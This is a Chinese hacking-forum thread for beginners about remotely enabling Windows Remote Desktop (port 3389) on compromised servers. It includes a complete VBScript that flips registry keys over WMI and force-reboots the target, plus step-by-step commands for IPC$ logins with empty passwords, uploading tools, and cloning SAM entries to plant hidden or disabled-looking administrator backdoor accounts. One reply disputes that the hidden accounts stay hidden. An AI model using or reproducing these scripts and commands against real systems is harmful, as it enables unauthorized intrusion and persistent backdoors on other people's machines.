论坛: 菜鸟乐园 标题: 再谈远程开启3389,菜鸟请进。! 复制本贴地址    
作者: badboy [badboy]    论坛用户   登录
好东东大家分享,献给所有像我一样的菜鸟们!大家如果觉得不错就帮忙顶一下。让更多人兄弟可以看到。谢谢!
将下面这段代码(原创作者好象是叫草蛰)复制到文本文档,然后另存为3389.vbe
命令行下运行:cscript 3389.vbe 127.0.0.1 administrator "" 3389 /fr
上面的命令应该可以理解吧?cscript 3389.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为127.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)

代码如下:

on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
port=wscript.arguments(3)
else
port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
wscript.echo "The number of port is error."
wscript.quit
end if
if wscript.arguments.count>4 then
reboot=wscript.arguments(4)
else
reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
showerror(err.number)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
if instr(objinstoscaption.caption,"Server")>0 then
wscript.echo "OK!"
else
wscript.echo "OS type is "&objinstoscaption.caption
outstreem.write "Do you want to cancel setup?[y/n]"
strcancel=instreem.readline
if lcase(strcancel)<>"n" then wscript.quit
end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
HKU=&h80000003
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
flag=0
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
if flag<>0 then
outstreem.write "Now, reboot target...."
strwqlquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwqlquery)
for each objinstance in colinstances
objinstance.win32shutdown(flag)
next
showerror(err.number)
else
wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
if err.description <> "" then
wscript.echo "Error description: "&err.description&"."
end if
wscript.quit
else
wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.05"
wscript.echo "Remote Open Terminal services Script, 天堂随风工作室"
wscript.echo "Welcome to www.sfeng.net"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo "/fr: auto force reboot target."
wscript.echo string(79,"*")&vbcrlf
end function



[此贴被 随风浮尘(badboy) 在 05月01日22时30分 编辑过]

地主 发表时间: 05/01 22:07

回复: ma2751_cn [ma2751_cn]      登录
在命令提示符下输入:
cscript 3389.vbe 127.0.0.1 administrator "" 3389 /fr

cscript.exe为命令行下的Windows Script Host(WSH)脚本代码的解释器,而在Windows界面则是Wscript.exe,就是能解释VBS,VBE文件的程序。

3389.vbe  脚本文件名

127.0.0.1  远程主机IP

administrator 远程主机用户名

""  管理密码,这里管理员密码为空用 ""代替

3389  设置终端服务端口,你可以更改

/fr是强制重启命令,/r这是普通重启。

够明白了吧`~~如再不明白我也不知道怎么说了`~

B1层 发表时间: 05/02 22:48

回复: ma2751_cn [ma2751_cn]      登录
下面是原文`~~`

原创:caozhe(草哲) 
来源:中国欲网技术论坛--草哲 

我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!

于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
要入侵,我建议你在win2000环境下来*作!

首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
扫描的X-Scan V2.3、WINNTAutoAttack、流光!
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
克隆帐户用个psu就可以了~!

OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
运行CMD(2000下的DOS),我们给它开终端!
命令如下!
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)

因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!

一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!

回到DOS下!我们建立IPC$连接!
net use \\120.0.0.1\ipc$ "" /user:"administrator"
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
copy psu.exe \\120.0.0.1\admin$\system32
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!

假设guest用户被禁用,我们就是要利用guest做后门帐户!
在该服务器运行CMD,在命令行下输入
psu -p regedit -i PID

这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
那么,命令就是这样
psu -p regedit -i 5458
这样直接打开注册表,可以读取本地sam的信息。
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
查看administrator的类型,是if4,再看guest的是if5
好了,知道了类型后,打开
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
双击右侧的F,把刚复制的粘贴到里面!

做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。

打开CMD,在命令行下输入
net user guest password
这条命令是给guest设置密码,后面的password就是密码
然后输入
net user guest /active:y
这命令是激活guest帐户,然后我们把他禁用
net user guest /active:n
上面的三行命令必须在DOS下执行!

OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!

注销一下,用guest登陆吧!

打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!

因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!

----------------------------------------------------------------------
以下是开终端的脚本,把它存为*.vbe
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
   set objShell=wscript.createObject("wscript.shell")
   objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
   wscript.quit
end if
if wscript.arguments.count<3 then
   usage()
   wscript.echo "Not enough parameters."
   wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
   port=wscript.arguments(3)
else
   port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
   wscript.echo "The number of port is error."
   wscript.quit
end if
if wscript.arguments.count>4 then
   reboot=wscript.arguments(4)
else
   reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
showerror(err.number)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
   if instr(objinstoscaption.caption,"Server")>0 then
      wscript.echo "OK!"
   else
      wscript.echo "OS type is "&objinstoscaption.caption
      outstreem.write "Do you want to cancel setup?[y/n]"
      strcancel=instreem.readline
      if lcase(strcancel)<>"n" then wscript.quit
   end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
HKU=&h80000003
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
flag=0
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
if flag<>0 then
   outstreem.write "Now, reboot target...."
   strwqlquery="select * from win32_operatingsystem where primary='true'"
   set colinstances=objswbemservices.execquery(strwqlquery)
   for each objinstance in colinstances
      objinstance.win32shutdown(flag)
   next
   showerror(err.number)
else
   wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
   wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
   if err.description <> "" then
      wscript.echo "Error description: "&err.description&"."
   end if
   wscript.quit
else
   wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.05"
wscript.echo "Remote Open Terminal services Script, by 草哲"
wscript.echo "Welcome to visite www.5458.net"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo "/fr: auto force reboot target."
wscript.echo string(79,"*")&vbcrlf
end function

B2层 发表时间: 05/02 22:49

回复: napolun [napolun]   版主   登录
看到许多问3389的,不得不把这篇帖子定上来。
下面这篇文章,算是上篇文章的一个补充:


建立隐藏的超级用户 
前几天在某个网站(记不清了,不好意思 ^_*)上看到了一篇介绍如何建立隐藏的超级用户的图文教程,给我了很大的启发,作者只说明了如何在本地图形界面下建立隐藏的超级用户,且作者说他无法在命令行下实现隐藏的超级用户的建立,于是我就开始自已摸索,刚开始时,我用reg.exe(3.0版)作为命令行下导出导入注册表文件的工具,但每次导入以后,建立的隐藏的超级用户总不能用,后来打开注册表查看,发现这个隐藏的超级用户的默认数据类型并没有被导入注册表。由于这种数据类型是十六进制数表示的(如administrator的默认数据类型为000001F4,下面例子中的hacker$的数据类型是00000409)而不是我们常说的字符串型、dword型、二进制型等数据类型,reg.exe不能识别,因而也就无法导入,而在图形界面下用注册表编辑器regedit.exe却能够将这种数据类型导入,后来一想regedit.exe是一个两栖程序,它既可以在windows界面下运行,也可以在DOS下运行,既然图形界面regedit.exe能够导入这种数据类型,那么DOS下面的它也应该能够导入这种数据类型,后来经试验证明了我的想法。下面我把我实现这个隐藏的超级用户建立方法介绍如下: 

一、如何在图形界面建立隐藏的超级用户 

图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好,但是较为复杂,还要用到psu.exe(让程序以系统用户身份运行的程序),如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序,修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息,因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下: 

1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 

net user hacker$ 1234 /add 

2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。 

3、点“权限”以后会弹出窗口 

点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将administrator加入,并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。 

4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。 

打开键:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$" 

5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键"F"的值复制,并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。 

6、在命令行下执行net user hacker$ /del将用户hacker$删除:net user hacker$ /del 

7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可 

8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。 

9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。 


如何在命令行下远程建立隐藏的超级用户 

在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。 

对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。 

1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。) 
2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator 

3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51 

c:\winnt\system32\net.exe user hacker$ 1234 /add 

建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。 

4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值:at \\13.50.97.238 12:55 

c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\ 

/e 是regedit.exe的参数,在_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引号将"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起来。 

5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\13.50.97.238\admin$\system32\hacker.reg 

c:\hacker.reg 

修改的方法图形界中已经介绍过了,这里就不作介绍了。 

6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg 

7、查看肉鸡时间:net time \\13.50.97.238 然后用at命令将用户hacker$删除: 

at \\13.50.97.238 13:40 net user hacker$ /del 

8、验证hacker$是否删除:用 

net use \\13.50.97.238 /del 断开与肉鸡的连接。 

net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。 

9、再与肉鸡建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator" 

再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表: 

at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg 

regedit.exe的参数/s是指安静模式。 

10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。 

11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。 

12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。 

三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办? 

这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受。 

但是这里有两个前提:1、先用net use \\肉鸡ip\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。 

2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。 

四、利用被禁用的帐户建立隐藏的超级用户: 

我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下: 

1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。 

2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \\肉鸡ip Administrator 超级用户密码 hacher hacher密码。 

3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令: 

net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的用户。 

4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user \\肉鸡ip\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我多次试验,次次都能成功,而且还是超级用户权限。 

5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \\肉鸡ip 时间 net user hacker /active:no 

6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内"C"健还是原来的"C"键,所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的权限。具体我也说不明白,大家权且这么理解吧。 
五、注意的几点事项: 

1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。 

2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。 

3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。 

4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者负责,本人概不负责。 


B3层 发表时间: 05/08 21:31

回复: ganjiawei [ganjiawei]   论坛用户   登录
那代码以列为后门程序了

B4层 发表时间: 05/09 07:50

回复: tsn_baby [tsn_baby]   论坛用户   登录
顶ing………………

B5层 发表时间: 05/09 07:58

回复: kv3000 [kv3000]   论坛用户   登录
有办法防范远程开启3389吗?

B6层 发表时间: 05/09 22:44

回复: cmpfix [cmpfix]   论坛用户   登录
ding一下!

B7层 发表时间: 05/10 11:42

回复: fangua [fangua]   论坛用户   登录
如果端口改成其他的了那用什么来登陆呢,终端服务客户端只能登陆3389端口呀,有办法吗~

B8层 发表时间: 05/10 13:13

回复: easyfly [easyfly]   论坛用户   登录
近来一段时间,网上到处转贴《建立隐藏的超级用户》这样一篇文章,文中提出可以通过修改Win2k注册表的sam数据库内容来添加一个隐藏的超级用户,在net user和用户管理下面都看不到踪迹,可以算是一个非常好的Rootkit了,于是引起了我的极大兴趣,摸索了有一周,自认为对windows的用户管理已经很是熟悉了,得出了这样一个结论:关于建立隐藏的超级用户,完全是一个骗局,呵呵。你一定有些惊讶吧,既然是骗局,怎么还那么多人转贴和叫好呢?好,听我慢慢给你解释: 

一、关于SAM数据库的内容 
首先从windows的用户管理来说起吧,由于windows系统是建立在注册表之上的,所以,关于所有的用户信息也是存放在注册表的HKLM下的SAM项中,关于SAM项的内容,我简单提一下,只要知道个大概就可以了。 

存放用户信息的具体地方是HKLM\SAM\SAM\Domains\Account\Users中,下面的十六进制项都是用户的sid,比如用户Administrator的sid是000001F4,guest的sid是000001F5,其他的每一个十六进制项都对应一个用户名。同时,在Names项下面保存的是用户名,下面的每一个都是你机器中的用户名。OK,基本的用户信息就是这些了,下面来看windows如何管理这些用户: 

添加一个新用户的时候,系统会在HKLM\SAM\SAM\Domains\Account\Users下面添加一个新的sid项来标记用户,同时在HKLM\SAM\SAM\Domains\Account\Users\Names下建立一个用户名的项,而项的类型为这个新的sid。比如添加一个名为xiaobai的用户,系统就会在HKLM\SAM\SAM\Domains\Account\Users下添加一个新的sid项,假设是000003ED,与此同时,你会发现在HKLM\SAM\SAM\Domains\Account\Users\Names下面多了一个名为xiaobai的项,类型为0x3ed。这就是windows系统处理添加用户的方式。 

删除用户的时候,系统所做的工作就是把上面对应添加的两个项删除。大体的原理应该就是这样,那些有关键值内容的东西,因为与下面的主题没有很大关系,所以,我就不细说了。 


二、查看本机用户信息 
现在,已经了解了系统是如何管理用户的原理了,我们再回到系统管理员的角度,作为一个系统管理员,查看本机的用户情况是最常见的行为了,一般通过两种方式来查看,net命令和MMC管理控制台。两种方式取得本机用户信息的方式稍有不同。 

首先是net命令,每次执行net命令的时候,系统去注册表的HKLM\SAM\SAM\Domains\Account\Users\Names下面取项值,然后打印在屏幕上,就是你看到的结果,所以,即使你随便在这个项值下面添加一项,也会通过net命令显示出来的。其中的一个小技巧就是如果用户名后面带一个$符号的时候,就不会显示出来,所以,在net命令下隐身很容易的,只要你添加的用户名是以$结尾的就可以了。 

然后是MMC管理控制台,它与net命令稍有不同,不同处在于显示用户信息的时候不是现场去注册表中取,而是每次系统启动时,所有的用户信息都已经被读入了,只是显示出来就可以了。除非你做了添加或者删除用户的操作,否则,MMC不会去读注册表的信息的。 

所以,当我们按照《建立隐藏的超级用户》这篇文章的方法做的时候,添加用户后又删除了,所以不会在 MMC中留下痕迹,此时再通过添加注册表的项来使帐号复活,登录windows的时候系统对比注册表中的内容,发现这个用户有足够的信息,所以允许登录。正如前面所说,除非有添加删除操作,否则,MMC不临时去取注册表的用户信息,所以,在MMC中是看不到这个用户的,也就是《建立隐藏的超级用户》这篇文章所说的成功添加了一个隐藏的超级用户。似乎这个后门留地是天衣无缝,可是一旦你重新启动呢,你会发现,你刚才添加的隐藏的用户又明明白白地显示在用户列表中,呵呵,至于原因么,是因为系统每次重启动的时候,MMC都要重新读取一下注册表的SAM数据库,所以,这个你复活的帐号也被读到了MMC的记录中,这样,也就不是什么隐藏的用户了。 

呵呵,到现在你应该清楚为什么《建立隐藏的超级用户》这篇文章是个骗局了吧,有无数人为之欢呼,以为找到了一个超级的Rootkit,当然也包括我,不过,假的毕竟是假的,因为这个而搞清楚了windows的用户管理机制,这个收获也不小啊,呵呵。 
作者:xiaobai 来源:中华安全论坛 

B9层 发表时间: 05/23 14:12

回复: ma2751_cn [ma2751_cn]      登录
作者:xiaobai 来源:中华安全论坛 

不是孤独剑客写的???

我看过~~~答案正确`~~

B10层 发表时间: 05/23 22:22

回复: max_ax [max_ax]   论坛用户   登录
是好东西啊!

B11层 发表时间: 05/24 21:41

回复: fangua [fangua]   论坛用户   登录
  建立的隐藏用户重启又显示出来了,怎么删了呢

B12层 发表时间: 05/25 18:16

回复: easyfly [easyfly]   论坛用户   登录
我也没找到好方法,
只有备份注册表
将没有隐藏超级用户的注册表导入。

B13层 发表时间: 06/05 14:50

回复: dahubaobao [dahubaobao]   论坛用户   登录
可以建议隐藏的用户   我在最新一期的黑客防线上看过
黑防的方法必须先要客隆帐号才能做隐藏用户
至于开3389的可不只就上边的一中方法  我自己就有五种开3389的方法
上边的方法不一定能成功

B14层 发表时间: 06/05 18:30

回复: cxcx2008 [cxcx2008]   论坛用户   登录




B15层 发表时间: 06/05 21:04

回复: hugh [hugh]   论坛用户   登录
好可惜,由于本人穷,只能在网吧上网,网吧用不得DOS啊,好痛苦,哪位大虾帮我解决一下啊,给我留言啊!!!

B16层 发表时间: 06/06 01:09

回复: wufan [wufan]   论坛用户   登录
只能�f�x�x,我��.

B17层 发表时间: 06/09 10:48

回复: vyn [vyn]   论坛用户   登录
顶的n次方

B18层 发表时间: 06/09 12:39

回复: hacker521 [hacker521]   论坛用户   登录
恩,写的真好,请问在哪可找到原文

B19层 发表时间: 06/09 17:44

回复: ma2751_cn [ma2751_cn]      登录
我已经搞到精华里面了```去哪里找`~~


B20层 发表时间: 06/09 18:10

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号